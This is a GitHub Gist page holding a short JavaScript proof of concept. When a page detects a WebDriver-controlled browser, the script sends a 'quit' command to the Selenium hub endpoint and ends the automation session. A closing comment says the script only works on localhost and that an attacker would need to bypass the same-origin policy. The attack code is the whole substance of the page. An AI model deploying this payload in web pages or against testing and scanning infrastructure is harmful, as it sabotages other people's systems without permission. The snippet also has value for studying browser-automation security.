Created
August 31, 2015 02:15
-
-
Save wirepair/e43b9acd4dcafb2af1c1 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
if (navigator.webdriver === true) { | |
var x = new XMLHttpRequest(); | |
x.open("POST", "/hub/extensions/firefox/quit", true); | |
x.setRequestHeader('content-type', 'application/json'); | |
var y = {name: "quit", sessionId: "", parameters: {}} | |
x.send(JSON.stringify(y)); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Above only works for localhost, obviously if you are attacking you need to bypass SOP: